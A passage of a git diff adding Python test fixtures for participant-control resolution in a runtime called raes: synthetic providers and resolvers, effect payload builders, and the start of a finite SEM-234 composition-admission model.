raes_contracts._canonical import canonical_json_digest +from raes_contracts.contracts.participant_control_composition import ( + ParticipantControlRequestModel, + control_digest, +) +from raes_contracts.contracts.participant_control_coordinates import ControlArtifactReferenceModel +from raes_contracts.contracts.participant_control_resolution import ( + ParticipantControlValidationContext, + control_references, +) +from raes_contracts.contracts.participant_control_results import ( + ControlEffectiveSupportModel, + ControlMechanismResultModel, +) +from raes_contracts.contracts.participant_control_selection import ParticipantControlSelectionModel +from raes_contracts.contracts.participant_crossing import ParticipantCrossingOccurrenceModel +from raes_runtime.participant_control_binding import ( + ParticipantControlResolution, + ParticipantControlRuntimeBinding, +) +from raes_runtime.participant_control_effects import ParticipantControlEffectOperation +from raes_runtime.participant_control_intents import ParticipantHandoffControlIntent + +INSTANCE = "influence" +MONITOR = "monitor" +_TEMPLATE_PARTICIPANT = "participants.student" +_TEMPLATE_AUDIENCE = "student-audience" +_TEMPLATE_CROSSING = "crossing-1" + + +ADMITTED_APPLICABILITY = ( + ("ingress", "action-argument", "participant-action-admission"), + ("ingress", "participant-crossing", "participant-control-occurrence"), + ("egress", "participant-output", "participant-status-view"), + ("ingress", "teaching-observation", "participant-observation"), +) + + +def admitted_payload(payload: dict | None = None, *, participant: str, audience: str) -> dict: + """Bind one template to the participant and sinks this apparatus admits. + + PC-01 keeps the selection fixed for the admitted binding: applicability is + declared here, once, for every crossing coordinate the run may reach. Only + the exact context changes per cut. + """ + + admitted = _substituted( + payload or evaluation_payload(), + participant=participant, + audience=audience, + crossing_ref=_TEMPLATE_CROSSING, + ) + for binding in admitted["request"]["selection"]["bindings"]: + binding["applicability"] = [ + { + "participant_address": participant, + "episode_id": "episode-1", + "direction": direction, + "sink_ref": sink_ref, + "phase_ref": "practice", + "subject_kind": subject_kind, + } + for direction, sink_ref, subject_kind in ADMITTED_APPLICABILITY + ] + return admitted + + +def _substituted(payload: dict, *, participant: str, audience: str, crossing_ref: str) -> dict: + encoded = json.dumps(payload) + encoded = encoded.replace(_TEMPLATE_PARTICIPANT, participant) + encoded = encoded.replace(_TEMPLATE_AUDIENCE, audience) + encoded = encoded.replace(_TEMPLATE_CROSSING, crossing_ref) + return json.loads(encoded) + + +def live_payload(payload: dict, *, crossing: object, sink_kind: object, head_refs: tuple[str, ...]) -> dict: + """Rebind one portable template onto the live prepared crossing cut.""" + + intent = crossing.intent + decision = committed_crossing_record(crossing) + rebound = _substituted( + payload, + participant=intent.participant_address, + audience=intent.audience_scope_ref, + crossing_ref=decision.event_id, + ) + context = rebound["request"]["context"] + context["episode_id"] = intent.episode_id + context["direction"] = intent.direction.value + context["controller_ref"] = intent.controller_ref + context["sink_ref"] = sink_kind.value + context["subject"] = decision.occurrence.subject.model_dump(mode="json") + context["policy"] = { + **context["policy"], + **decision.occurrence.policy.model_dump(mode="json"), + } + context["state_cut"] = {**context["state_cut"], "cut_ref": context["policy"]["decision_cut_ref"]} + context["order"] = context["policy"]["effective_order"] + context["authority"] = {**context["authority"], "ref": decision.occurrence.authority_basis_refs[0]} + context["expected_history_heads"] = [ref(item, "history") for item in head_refs] + context["crossing"]["digest"] = live_crossing_digest(decision) + _rebind_inject_delivery(rebound, context) + return _rebound_context_digests(rebound) + + +def _declare_retained_consumption(payload: dict, snapshot: object) -> None: + """Carry the consumption this causal root already committed into the cut. + + A trusted resolver derives the exact context from committed state, so the + retained logical claims and firing epochs travel with it; declaring zero + again would let one root re-spend an exhausted budget. + """ + + from raes_runtime.participant_control_causal_state import causal_state_from_history + + context = payload["request"]["context"] + history = getattr(snapshot, "participant_control_evaluation_history", {}).get(context["participant_address"], ()) + state = causal_state_from_history( + history, + run_ref=context["run"]["ref"], + trigger_root=context["trigger_root"], + ) + if state.claims: + context["prior_effect_claims"] = [claim.model_dump(mode="json") for claim in state.claims.values()] + context["rule_firings"] = [ + {"rule_id": rule, "rule_revision": revision, "firing_epochs": sorted(epochs)} + for (rule, revision), epochs in sorted(state.firings.items()) + ] + context["effects_consumed"] = max(context["effects_consumed"], state.effects_consumed) + context["depth"] = max(context["depth"], 1) + # An attempt is spent by every committed evaluation under this root, so it + # is declared even when the root has claimed no effect. + context["attempt"] = max(context["attempt"], state.next_attempt) + _rebound_context_digests(payload) + + +def _name_decision_identity(payload: dict, decision: ParticipantCrossingOccurrenceModel) -> None: + """Name the decision's own identifier instead of the occurrence event. + + This is the shape a resolver produces when it reconstructs the occurrence + instead of naming the committed record, and the runtime must refuse it. + """ + + context = payload["request"]["context"] + reconstructed = decision.model_copy(update={"event_id": decision.occurrence.decision_id}) + context["crossing"] = { + **context["crossing"], + "ref": reconstructed.event_id, + "digest": live_crossing_digest(reconstructed), + } + _rebound_context_digests(payload) + + +def _distinct(records: object) -> tuple: + """Order-preserving de-duplication for unhashable contract models.""" + + unique: list = [] + for record in records: + if record not in unique: + unique.append(record) + return tuple(unique) + + +def committed_crossing_records(crossing: object) -> tuple[ParticipantCrossingOccurrenceModel, ...]: + """This participant's crossing chain as the committed RUN-319 carrier holds it. + + A real resolver reads these records back out of committed state, so the + trusted context is built from that projection rather than from the + runtime's in-memory models. API-423 resolves a decided record against its + own request predecessor, so the whole chain travels together. + """ + + history = crossing.next_snapshot.participant_crossing_history[crossing.decision.participant_address] + return tuple(ParticipantCrossingOccurrenceModel.model_validate(item) for item in history) + + +def committed_crossing_record(crossing: object) -> ParticipantCrossingOccurrenceModel: + """The decided occurrence this exact cut names, as committed state holds it.""" + + event_id = crossing.decision.event_id + return next(item for item in committed_crossing_records(crossing) if item.event_id == event_id) + + +def live_crossing_digest(decision: ParticipantCrossingOccurrenceModel) -> str: + """Digest a crossing record exactly as API-424 resolves it. + + ``participant_control_resolution._validate_crossing`` digests the record's + original wire projection, so unset incumbent optional fields stay absent. + """ + + return canonical_json_digest(decision.model_dump(mode="json", exclude_unset=True)) + + +def _rebind_inject_delivery(payload: dict, context: dict) -> None: + delivery = live_delivery(context) + digest = canonical_json_digest(delivery.model_dump(mode="json")) + for result in payload["results"]: + target = (result.get("payload") or {}).get("target") + if target is not None and target.get("kind") == "inject": + target["participant_address"] = context["participant_address"] + target["episode_id"] = context["episode_id"] + target["delivery_ref"] = {**target["delivery_ref"], "digest": digest} + + +def live_delivery(context: dict) -> ParticipantInjectDelivery: + """The admitted DSL-142 delivery this inject request names, at the live cut.""" + + payload = delivery_payload() + payload["participant_ref"] = context["participant_address"] + payload["delivery_policy"] = { + **payload["delivery_policy"], + "audience_scope_ref": context["audience_ref"], + } + return ParticipantInjectDelivery.model_validate(payload) + + +def _rebound_context_digests(payload: dict) -> dict: + """Rebind every result and support record to the edited exact context.""" + + digest = canonical_json_digest(payload["request"]["context"]) + selection = ParticipantControlSelectionModel.model_validate(payload["request"]["selection"]) + bindings = {binding.instance_id: control_digest(binding) for binding in selection.bindings} + payload["results"] = [ + {**result, "context_digest": digest, "binding_digest": bindings[result["instance_id"]]} + for result in payload["results"] + ] + payload["support"] = [{**item, "context_digest": digest} for item in payload["support"]] + return payload + + +def _admitted_safe_references( + context: object, + records: tuple[ParticipantCrossingOccurrenceModel, ...] = (), +) -> frozenset[ControlArtifactReferenceModel]: + """The operator's own admitted evidence and authority refs for this cut. + + Safe references are admitted independently of what a *control* record + happens to carry, so an unresolved contribution does not silently narrow + the set the incumbent API-423 validators resolve against. The live crossing + occurrence is a different matter: the incumbent owner already admitted its + evidence and authority basis, and API-423 re-resolves them here, so the + operator admits exactly what that record was decided against. + """ + + admitted = { + ControlArtifactReferenceModel.model_validate(ref(item)) + for item in ("result-evidence", "binding-evidence", "effect-evidence", "gate-evidence") + } + admitted.add(ControlArtifactReferenceModel.model_validate(ref(context.authority.ref, "authority"))) + for record in records: + occurrence = record.occurrence + admitted.update( + ControlArtifactReferenceModel.model_validate(ref(item)) + for item in (*record.evidence_refs, *record.provenance_refs, *occurrence.required_evidence_refs) + ) + admitted.update( + ControlArtifactReferenceModel.model_validate(ref(item, "authority")) + for item in occurrence.authority_basis_refs + ) + return frozenset(admitted) + + +@dataclass +class DuplicateSlotProvider: + """Return two contributions for one slot, as a malformed provider would.""" + + instance_id: str = INSTANCE + _results: tuple[dict, ...] = () + + def bind(self, payload: dict) -> DuplicateSlotProvider: + self._results = tuple(item for item in payload["results"] if item["instance_id"] == self.instance_id) + return self + + def resolve(self, request: ParticipantControlRequestModel) -> tuple[ControlMechanismResultModel, ...]: + resolved = [ControlMechanismResultModel.model_validate(item) for item in self._results] + first = resolved[0] + return (first, first.model_copy(update={"result_id": first.result_id + ".rival"}), *resolved[1:]) + + +@dataclass +class SyntheticControlProvider: + """Return the template results this instance owns for the exact request.""" + + instance_id: str = INSTANCE + calls: list[ParticipantControlRequestModel] = field(default_factory=list) + raises: bool = False + returns_invalid: bool = False + omits_slot: str | None = None + reverse: bool = False + _results: tuple[dict, ...] = () + + def bind(self, payload: dict) -> SyntheticControlProvider: + self._results = tuple(item for item in payload["results"] if item["instance_id"] == self.instance_id) + return self + + def resolve(self, request: ParticipantControlRequestModel) -> tuple[ControlMechanismResultModel, ...]: + self.calls.append(request) + if self.raises: + raise RuntimeError("provider failure detail must never reach a caller") + if self.returns_invalid: + return ("not-a-result",) # type: ignore[return-value] + selected = [item for item in self._results if item["slot_id"] != self.omits_slot] + resolved = tuple(ControlMechanismResultModel.model_validate(item) for item in selected) + return tuple(reversed(resolved)) if self.reverse else resolved + + +@dataclass +class SyntheticControlResolver: + """Trusted owner-resolved request, support and incumbent gate for one cut.""" + + payload: dict + providers: tuple[SyntheticControlProvider, ...] = () + incumbent_gate_disposition: str = "permit" + resolutions: int = 0 + returns_none: bool = False + raises: bool = False + stale_heads: bool = False + effect_operations: bool = True + effect_participant: str | None = None + effect_state_revision: int | None = None + effect_inject_lineage: str | None = None + effect_declaration_ref: str | None = None + effect_evidence: bool = True + replacement_crossing: bool = False + live: dict | None = None + live_crossing: ParticipantCrossingOccurrenceModel | None = None + live_crossing_chain: tuple[ParticipantCrossingOccurrenceModel, ...] = () + + def resolve( + self, + *, + snapshot: object, + intent: object, + crossing: object, + sink_kind: object, + expected_history_head_refs: tuple[str, ...], + ) -> ParticipantControlResolution | None: + del intent + self.resolutions += 1 + if self.raises: + raise RuntimeError("resolver failure detail must never reach a caller") + if self.returns_none: + return None + head_refs = ( + ("participant_control_evaluation_history:stale",) if self.stale_heads else expected_history_head_refs + ) + self.live_crossing = committed_crossing_record(crossing) + self.live_crossing_chain = committed_crossing_records(crossing) + self.live = live_payload(self.payload, crossing=crossing, sink_kind=sink_kind, head_refs=head_refs) + if self.replacement_crossing: + # Name the decision's own identifier rather than the occurrence + # event the RUN-319 record is filed under, as a resolver working + # from a reconstructed record would. + _name_decision_identity(self.live, self.live_crossing) + _declare_retained_consumption(self.live, snapshot) + for provider in self.providers: + provider.bind(self.live) + return ParticipantControlResolution( + request=ParticipantControlRequestModel.model_validate(self.live["request"]), + support=tuple(ControlEffectiveSupportModel.model_validate(item) for item in self.live["support"]), + incumbent_gate_disposition=self.incumbent_gate_disposition, + incumbent_gate_evidence=ref("gate-evidence"), + ) + + def effect_operation(self, request: object, context: object) -> ParticipantControlEffectOperation | None: + """Return the incumbent owner input this admitted effect names.""" + + if not self.effect_operations: + return None + participant = self.effect_participant or request.target.participant_address + owner_evidence = _effect_evidence(context) if self.effect_evidence else None + if request.target.kind == "inject": + return ParticipantControlEffectOperation( + kind="inject", + view=_inject_view( + participant, + context, + request.target, + result_item_ref=self.effect_inject_lineage, + ), + crossing_evidence=owner_evidence, + ) + if request.target.kind == "handoff": + return ParticipantControlEffectOperation( + kind="handoff", + intent=_handoff_intent( + context, + request.target, + expected_state_revision=self.effect_state_revision, + declaration_ref=self.effect_declaration_ref, + ), + crossing_evidence=owner_evidence, + ) + return None + + def validation_context(self, evaluation: object) -> ParticipantControlValidationContext: # noqa: D102 + context = evaluation.request.context + crossing = self.live_crossing + assert crossing is not None + return ParticipantControlValidationContext( + admitted_request=evaluation.request, + safe_references=frozenset(control_references(evaluation)) + | _admitted_safe_references(context, self.live_crossing_chain), + installed_bindings={binding.instance_id: binding for binding in evaluation.request.selection.bindings}, + effective_support={item.instance_id: item for item in evaluation.support}, + resolved_results={result.result_id: result for result in evaluation.results if result.status == "resolved"}, + authorized_effects={ + control_digest(result.payload): context + for result in evaluation.results + if result.payload is not None and result.payload.kind == "effect-request" + }, + incumbent_gate_evidence=evaluation.composition.incumbent_gate_evidence, + incumbent_gate_disposition=evaluation.composition.incumbent_gate_disposition, + support_resolver=lambda _binding, support: support.declared_level, + realization_receipts={item.receipt.ref: item for item in evaluation.realizations}, + crossing_records=self.live_crossing_chain, + crossing_subjects=_distinct(item.occurrence.subject for item in self.live_crossing_chain), + crossing_policies=_distinct(item.occurrence.policy for item in self.live_crossing_chain), + inject_deliveries={"delivery-binding": live_delivery(context.model_dump(mode="json"))}, + ) + + +@dataclass +class ForgetfulConsumptionResolver(SyntheticControlResolver): + """Re-declare zero consumption for a root that already spent its budget.""" + + def resolve(self, **coordinates: object) -> ParticipantControlResolution | None: + resolution = super().resolve(**coordinates) + if resolution is None: + return None + context = self.live["request"]["context"] + context["prior_effect_claims"] = [] + context["rule_firings"] = [] + context["effects_consumed"] = 0 + context["attempt"] = 1 + _rebound_context_digests(self.live) + for provider in self.providers: + provider.bind(self.live) + return ParticipantControlResolution( + request=ParticipantControlRequestModel.model_validate(self.live["request"]), + support=tuple(ControlEffectiveSupportModel.model_validate(item) for item in self.live["support"]), + incumbent_gate_disposition=self.incumbent_gate_disposition, + incumbent_gate_evidence=ref("gate-evidence"), + ) + + +def control_binding( + payload: dict | None = None, + *, + providers: dict[str, SyntheticControlProvider] | None = None, + resolver: SyntheticControlResolver | None = None, + **resolver_options: object, +) -> ParticipantControlRuntimeBinding: + """Bind one admitted selection to its synthetic providers and resolver.""" + + template = admitted_payload(payload, participant=LIVE_PARTICIPANT, audience=LIVE_AUDIENCE) + selection = ParticipantControlSelectionModel.model_validate(template["request"]["selection"]) + bound = providers or { + binding.instance_id: SyntheticControlProvider(instance_id=binding.instance_id) for binding in selection.bindings + } + bound_resolver = resolver or SyntheticControlResolver( + payload=template, + providers=tuple(bound.values()), + **resolver_options, + ) + bound_resolver.providers = tuple(bound.values()) + return ParticipantControlRuntimeBinding(selection=selection, providers=bound, resolver=bound_resolver) + + +def fact_only_payload() -> dict: + """An eligible composition that resolves no effect at all. + + An evaluation still spends an attempt on its causal root even when nothing + is requested, which is what makes PC-12's attempt bound meaningful. + """ + + payload = evaluation_payload() + selection = payload["request"]["selection"] + selection["slots"] = [slot for slot in selection["slots"] if slot["slot_id"] != "rule"] + payload["results"] = [result for result in payload["results"] if result["slot_id"] != "rule"] + return payload + + +def advisory_monitor_payload() -> dict: + """Add a second mechanism and published profile with an advisory-only slot.""" + + payload = evaluation_payload() + selection = payload["request"]["selection"] + monitor_binding = { + **selection["bindings"][0], + "instance_id": MONITOR, + "profiles": [{**ref("participant-boundary-flow-policy-v1", "profile"), "digest": _security_profile_digest()}], + "mechanism": ref("monitor", "mechanism"), + } + selection["bindings"].append(monitor_binding) + selection["slots"].append( + {"slot_id": "advice", "instance_id": MONITOR, "kind": "advisory", "role": "advisory", "dependencies": []} + ) + payload["results"].append( + { + "result_id": "result-advice", + "slot_id": "advice", + "instance_id": MONITOR, + "binding_digest": payload["results"][0]["binding_digest"], + "context_digest": payload["results"][0]["context_digest"], + "status": "resolved", + "payload": { + "kind": "advisory", + "assessment": "negative", + "score": 0.75, + "sample": ref("monitor-sample"), + }, + "evidence": [ref("result-evidence")], + "next_provider_state": None, + } + ) + payload["support"].append({**payload["support"][0], "instance_id": MONITOR}) + payload["request"]["context"]["provider_states"].append( + {"instance_id": MONITOR, "state": ref("monitor-state-1", "provider-state")} + ) + return payload + + +def _effect_evidence(context: object): + """The owner's crossing evidence, resolved for the admitted cut's audience.""" + + from participant_crossing_fixtures import evidence + + return evidence().model_copy(update={"audience_scope_ref": context.audience_ref}) + + +def _inject_view(participant: str, context: object, target: object, *, result_item_ref: str | None = None): + """The already-projected carrier this admitted inject names. + + Its identity is the effect's fresh result item and its projection is the + admitted disclosure, so the owner receipt records that exact inject. + """ + + from raes_contracts.contracts.participant_views import ParticipantStatusViewModel + + return ParticipantStatusViewModel.model_validate( + { + "view_id": result_item_ref or target.result_item_ref, + "participant_address": participant, + "episode_id": context.episode_id, + "generated_at": "2026-09-20T00:00:00Z", + "source_snapshot_ref": context.state_cut.cut_ref, + "visibility_projection_ref": target.disclosure_ref.ref, + } + ) + + +def _handoff_intent( + context: object, + target: object, + *, + expected_state_revision: int | None = None, + declaration_ref: str | None = None, +) -> ParticipantHandoffControlIntent: + """The incumbent RUN-310 controller transition this admitted rule requests.""" + + return ParticipantHandoffControlIntent( + declaration_ref=declaration_ref or target.transition.ref, + episode_id=context.episode_id, + client_correlation_id="control-effect-handoff", + policy_revision="1.0.0", + expected_state_revision=( + target.expected_state_revision if expected_state_revision is None else expected_state_revision + ), + provenance_refs=["provenance:handoff"], + evidence_refs=["evidence:handoff"], + object_marking_refs=["marking:participant-control"], + limitation_refs=["limitation:none"], + completion_evidence_ref=target.completion_obligation.ref, + ) + + +def handoff_effect_payload(*, expected_state_revision: int = 0) -> dict: + """Replace the teaching inject with a non-inject RUN-310 handoff effect.""" + + payload = evaluation_payload() + request = payload["results"][1]["payload"] + # The target names the exact RUN-310 declaration and completion evidence the + # owner will be asked to record, so the runtime can bind the owner input. + request["target"] = { + "kind": "handoff", + "transition": ref( + "participant.behavior-specification.controlled.control-transition.handoff", + "control", + ), + "participant_address": _TEMPLATE_PARTICIPANT, + "episode_id": "episode-1", + "prior_controller_ref": "teacher", + "resulting_controller_ref": "supervisor", + "expected_state_revision": expected_state_revision, + "completion_obligation": ref("evidence:handoff"), + } + return payload + + +def dependent_effects_payload(*, phase: str = "subsequent", reverse_records: bool = True) -> dict: + """An ordered pair: the audit effect declares the inject as its predecessor.""" + + payload = evaluation_payload() + payload["request"]["selection"]["slots"].append( + { + "slot_id": "followup-audit", + "instance_id": INSTANCE, + "kind": "effect-request", + "role": "mandatory", + "dependencies": [], + } + ) + dependent = json.loads(json.dumps(payload["results"][1])) + dependent["result_id"] = "result-followup-audit" + dependent["slot_id"] = "followup-audit" + dependent["payload"]["effect_id"] = "effect-2" + dependent["payload"]["phase"] = phase + dependent["payload"]["key"] = {**dependent["payload"]["key"], "slot": "followup-audit"} + dependent["payload"]["predecessor_effect_ids"] = ["effect-1"] + dependent["payload"]["target"] = { + "kind": "audit", + "subject": payload["request"]["context"]["subject"], + "audit_record": ref("followup-audit", "audit"), + "audience_ref": payload["request"]["context"]["audience_ref"], + "retention_policy": ref("teaching-policy", "policy"), + } + # Serialization order deliberately contradicts the declared causal order. + payload["results"] = ( + [payload["results"][0], dependent, payload["results"][1]] + if reverse_records + else [*payload["results"], dependent] + ) + payload["request"]["selection"]["bounds"] = { + **payload["request"]["selection"]["bounds"], + "max_effects": 4, + "max_fanout": 4, + "max_firings_per_rule": 2, + } + return payload + + +def required_predecessor_payload() -> dict: + """A required-predecessor effect: the composition withholds its parent.""" + + payload = dependent_effects_payload(phase="required-predecessor", reverse_records=False) + for result in payload["results"]: + request = result.get("payload") or {} + if request.get("effect_id") == "effect-2": + # The review obligation precedes its parent, not the other way round. + request["predecessor_effect_ids"] = [] + elif request.get("effect_id") == "effect-1": + request["predecessor_effect_ids"] = ["effect-2"] + payload["composition"] = { + **payload["composition"], + "disposition": "withhold", + "blockers": ["predecessor:effect-2"], + "contributing_result_ids": ["result-fact", "result-rule", "result-followup-audit"], + } + return payload + + +def conflicting_effect_payload() -> dict: + """Two unordered mandatory effect requests for one parent; PC-07 conflict. + + Neither request declares the other as a predecessor, so their order is + ambiguous and composition conflicts. No arrival order, rule identity, or + canonical sort selects a winner. + """ + + payload = evaluation_payload() + payload["request"]["selection"]["slots"].append( + {"slot_id": "rival", "instance_id": INSTANCE, "kind": "effect-request", "role": "mandatory", "dependencies": []} + ) + rival = json.loads(json.dumps(payload["results"][1])) + rival["result_id"] = "result-rival" + rival["slot_id"] = "rival" + rival["payload"]["effect_id"] = "effect-2" + rival["payload"]["key"] = {**rival["payload"]["key"], "slot": "rival"} + payload["results"].append(rival) + return payload + + +def _security_profile_digest() -> str: + from raes_contracts.contracts.participant_flow_control import ( + PARTICIPANT_BOUNDARY_FLOW_POLICY_PROFILE_REV1_DIGEST, + ) + + return PARTICIPANT_BOUNDARY_FLOW_POLICY_PROFILE_REV1_DIGEST + + +def with_status(payload: dict, slot_id: str, status: str) -> dict: + """Return the payload with one slot's result recorded as unresolved.""" + + results = [] + for result in payload["results"]: + if result["slot_id"] == slot_id: + results.append({**result, "status": status, "payload": None, "next_provider_state": None}) + else: + results.append(result) + return {**payload, "results": results} + + +@dataclass +class ReentrantValidationResolver(SyntheticControlResolver): + """A trusted-context callback that tries to mutate the runtime re-entrantly.""" + + plane: object | None = None + reentry_errors: list = field(default_factory=list) + + def validation_context(self, evaluation: object) -> ParticipantControlValidationContext: # noqa: D102 + try: + self.plane.initialize_participant_episode("participants.reentrant", episode_id="episode-reentrant") + except RuntimeError as error: + self.reentry_errors.append(str(error)) + raise + return super().validation_context(evaluation) diff --git a/implementations/python/tests/participant_crossing_fixtures.py b/implementations/python/tests/participant_crossing_fixtures.py index d92857a0c..81005d439 100644 --- a/implementations/python/tests/participant_crossing_fixtures.py +++ b/implementations/python/tests/participant_crossing_fixtures.py @@ -508,6 +508,7 @@ def action_plane( target: object | None = None, store: object | None = None, enforce_final_sink_flow_control: bool = False, + participant_control: object | None = None, ) -> RuntimeControlPlane: # Legacy API-423-only fixtures pass a resolver without the SEM-233 final-sink # hook, so enforcement is opted out here by default. Tests exercising SEM-233 @@ -518,6 +519,7 @@ def action_plane( crossing_policy_resolver=resolver, store=store, enforce_final_sink_flow_control=enforce_final_sink_flow_control, + participant_control=participant_control, ) plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1") return plane diff --git a/implementations/python/tests/sem233_flow_sink_fixtures.py b/implementations/python/tests/sem233_flow_sink_fixtures.py index de79a1e56..a3af7738d 100644 --- a/implementations/python/tests/sem233_flow_sink_fixtures.py +++ b/implementations/python/tests/sem233_flow_sink_fixtures.py @@ -62,6 +62,18 @@ ) +def sem233_plane(resolver, **options): + """Build a plane that explicitly selects the legacy SEM-233 final-sink path. + + RUN-320 removed method-presence discovery (PC-15), so a SEM-233 fixture + states that selection instead of relying on the resolver exposing a hook. + """ + + from participant_crossing_fixtures import action_plane + + return action_plane(resolver, enforce_final_sink_flow_control=True, **options) + + @dataclass(frozen=True) class FlowSinkToggles: """Deterministic toggles that force one non-permit final-sink outcome.""" diff --git a/implementations/python/tests/sem234_mixed_composition_model.py b/implementations/python/tests/sem234_mixed_composition_model.py new file mode 100644 index 000000000..1a3cfabdc --- /dev/null +++ b/implementations/python/tests/sem234_mixed_composition_model.py @@ -0,0 +1,377 @@ +"""Finite SEM-234 oracle, not a runtime coordinator or portable contract. + +Context is a trusted finite interpretation of compiled scopes, effective support +and revision/digest resolution. It does not authenticate a backend or prove an +evidence artifact's contents. All effects below are symbolic model events. +""" + +from __future__ import annotations + +from dataclasses import dataclass, replace + +from sem230_information_flow_model import project_history + +Pin = tuple[str, str, str, str] # kind, identity, revision, digest +EDGE_KINDS = frozenset({"adapter", "authority", "mapping", "policy", "release", "time", "failure", "observer"}) +SCOPE_KINDS = frozenset( + {"participant-runtime", "controlled-scope", "action-family", "observation-source", "crossing-boundary"} +) +FORMS = frozenset({"simulation", "emulation-or-operational", "hardware-or-native", "federated-composition"}) + + +@dataclass(frozen=True) +class Scope: + ref: str + kind: str + atoms: frozenset[str] + + +@dataclass(frozen=True) +class Component: + ref: str + form: str + clock: str + supported: frozenset[str] + strength: int + evidence: frozenset[str] + + +@dataclass(frozen=True) +class Edge: + source: str + destination: str + scope: str + pins: frozenset[Pin] + clocks: tuple[str, str] + loss: frozenset[str] = frozenset() + + @property + def key(self) -> tuple[str, str, str]: + return self.source, self.destination, self.scope + + +@dataclass(frozen=True) +class Phase: + ref: str + members: frozenset[str] + allocations: tuple[tuple[str, str], ...] + edges: tuple[Edge, ...] + exchanges: tuple[tuple[str, str, str], ...] + + +@dataclass(frozen=True) +class Plan: + scenario: str + policy: str + plan: str + entry: str + run: str + mode: str + components: tuple[str, ...] + phases: tuple[Phase, ...] + required: frozenset[str] + loop: str = "closed-loop" + world: str = "closed-world" + membership: str = "fixed" + allowed_loss: frozenset[str] = frozenset() + authority_revision: str = "sem-234/rev1" + transitions: tuple[tuple[str, str, str], ...] = () + + +@dataclass(frozen=True) +class Context: + scopes: tuple[Scope, ...] + components: tuple[Component, ...] + pins: frozenset[Pin] + clock_maps: tuple[tuple[Pin, tuple[str, str]], ...] + + +def _edge_errors(edge: Edge, phase: Phase, plan: Plan, context: Context) -> set[str]: + errors: set[str] = set() + components = {component.ref: component for component in context.components} + scopes = {scope.ref: scope for scope in context.scopes} + if edge.source not in phase.members or edge.destination not in phase.members: + errors.add("edge-endpoint") + if edge.scope not in scopes or scopes[edge.scope].kind != "crossing-boundary": + errors.add("edge-scope") + if edge.scope not in dict(phase.allocations): + errors.add("edge-scope") + if len(edge.pins) != len(EDGE_KINDS) or {pin[0] for pin in edge.pins} != EDGE_KINDS: + errors.add("edge-binding") + if not edge.pins <= context.pins: + errors.add("edge-binding") + if not edge.loss <= plan.allowed_loss: + errors.add("unadmitted-loss") + actual_clocks = tuple( + components[ref].clock if ref in components else None for ref in (edge.source, edge.destination) + ) + time_pins = [pin for pin in edge.pins if pin[0] == "time"] + matches = [clocks for pin, clocks in context.clock_maps if pin in time_pins] + if edge.clocks != actual_clocks or matches != [edge.clocks]: + errors.add("clock-mapping") + return errors + + +def _phase_errors(phase: Phase, plan: Plan, context: Context) -> set[str]: + errors: set[str] = set() + components = {component.ref: component for component in context.components} + scopes = {scope.ref: scope for scope in context.scopes} + if not phase.members or not phase.members <= set(plan.components): + errors.add("unadmitted-member") + providers: dict[str, set[str]] = {} + allocated_scopes: set[str] = set() + for scope_ref, provider in phase.allocations: + if scope_ref in allocated_scopes: + errors.add("duplicate-allocation") + allocated_scopes.add(scope_ref) + if provider not in phase.members or provider not in components: + errors.add("inactive-provider") + continue + scope = scopes.get(scope_ref) + if scope is None or scope.kind not in SCOPE_KINDS or not scope.atoms: + errors.add("unresolved-scope") + continue + component = components[provider] + if not scope.atoms <= component.supported or component.strength < 2: + errors.add("unsupported-effect") + if not component.evidence: + errors.add("support-evidence") + for atom in scope.atoms: + providers.setdefault(atom, set()).add(provider) + if not plan.required <= providers.keys(): + errors.add("incomplete-allocation") + if any(len(owners) != 1 for owners in providers.values()): + errors.add("competing-providers") + keys = [edge.key for edge in phase.edges] + if len(set(keys)) != len(keys) or len(set(phase.exchanges)) != len(phase.exchanges): + errors.add("ambiguous-edge") + if set(keys) != set(phase.exchanges): + errors.add("exchange-edge") + for edge in phase.edges: + errors.update(_edge_errors(edge, phase, plan, context)) + return errors + + +def admit(plan: Plan, context: Context, *, limit: int = 256) -> tuple[str, ...]: + """Check the complete finite graph, never infer support or discard a suffix.""" + work = len(context.scopes) + len(context.components) + len(context.pins) + len(context.clock_maps) + work += len(plan.components) + len(plan.phases) + len(plan.required) + len(plan.transitions) + work += sum(len(s.atoms) for s in context.scopes) + work += sum(len(c.supported) + len(c.evidence) for c in context.components) + work += sum( + len(p.members) + len(p.allocations) + len(p.exchanges) + sum(1 + len(e.pins) + len(e.loss) for e in p.edges) + for p in plan.phases + ) + if work > limit: + return ("work-limit",) + errors: set[str] = set() + if plan.authority_revision != "sem-234/rev1": + errors.add("profile-revision") + if not all((plan.scenario, plan.policy, plan.plan, plan.entry, plan.run)): + errors.add("identity") + components = {component.ref: component for component in context.components} + if len(components) != len(context.components) or len({s.ref for s in context.scopes}) != len(context.scopes): + errors.add("ambiguous-context") + if len(set(plan.components)) != len(plan.components) or not set(plan.components) <= components.keys(): + errors.add("component-resolution") + if any(components[ref].form not in FORMS for ref in plan.components if ref in components): + errors.add("realization-form") + if any(components[ref].form == "federated-composition" for ref in plan.components if ref in components): + errors.add("nested-profile-required") + if not plan.phases or len({phase.ref for phase in plan.phases}) != len(plan.phases): + errors.add("phase-schedule") + expected_pairs = {(left.ref, right.ref) for left, right in zip(plan.phases, plan.phases[1:], strict=False)} + if ( + {(left, right) for left, right, _ in plan.transitions} != expected_pairs + or len(plan.transitions) != len(expected_pairs) + or any(not trigger for _, _, trigger in plan.transitions) + ): + errors.add("phase-schedule") + if plan.loop not in {"open-loop", "closed-loop"} or plan.world not in {"closed-world", "bounded-open-world"}: + errors.add("axes") + if plan.membership not in {"fixed", "pre-admitted-dynamic"}: + errors.add("axes") + if plan.membership == "fixed" and len({phase.members for phase in plan.phases}) > 1: + errors.add("fixed-membership") + if plan.mode == "alternative-realization": + if any(len(phase.members) != 1 for phase in plan.phases): + errors.add("alternative-components") + elif plan.mode == "simultaneous-mixed-realization": + if not any( + len({components[ref].form for _, ref in phase.allocations if ref in phase.members and ref in components}) + >= 2 + for phase in plan.phases + ): + errors.add("mixed-forms") + else: + errors.add("composition-mode") + for phase in plan.phases: + errors.update(_phase_errors(phase, plan, context)) + return tuple(sorted(errors)) + + +@dataclass(frozen=True) +class Cut: + ref: str + participant: str + episode: str + controller: str + authority: str + policy_revision: str + capability: str + revision: int + heads: tuple[str, str] + authority_status: str = "active" + order_ref: str = "order:one" + + +@dataclass(frozen=True) +class State: + plan: Plan + phase: int + cut: Cut + history: tuple[str, ...] = () + effects: tuple[tuple[str, str, str], ...] = () + knowledge: frozenset[str] = frozenset() + pending: tuple[str, ...] = () + + +def _record(state: State, outcome: str) -> State: + revision = state.cut.revision + 1 + cut = replace( + state.cut, ref=f"cut:{revision}", revision=revision, 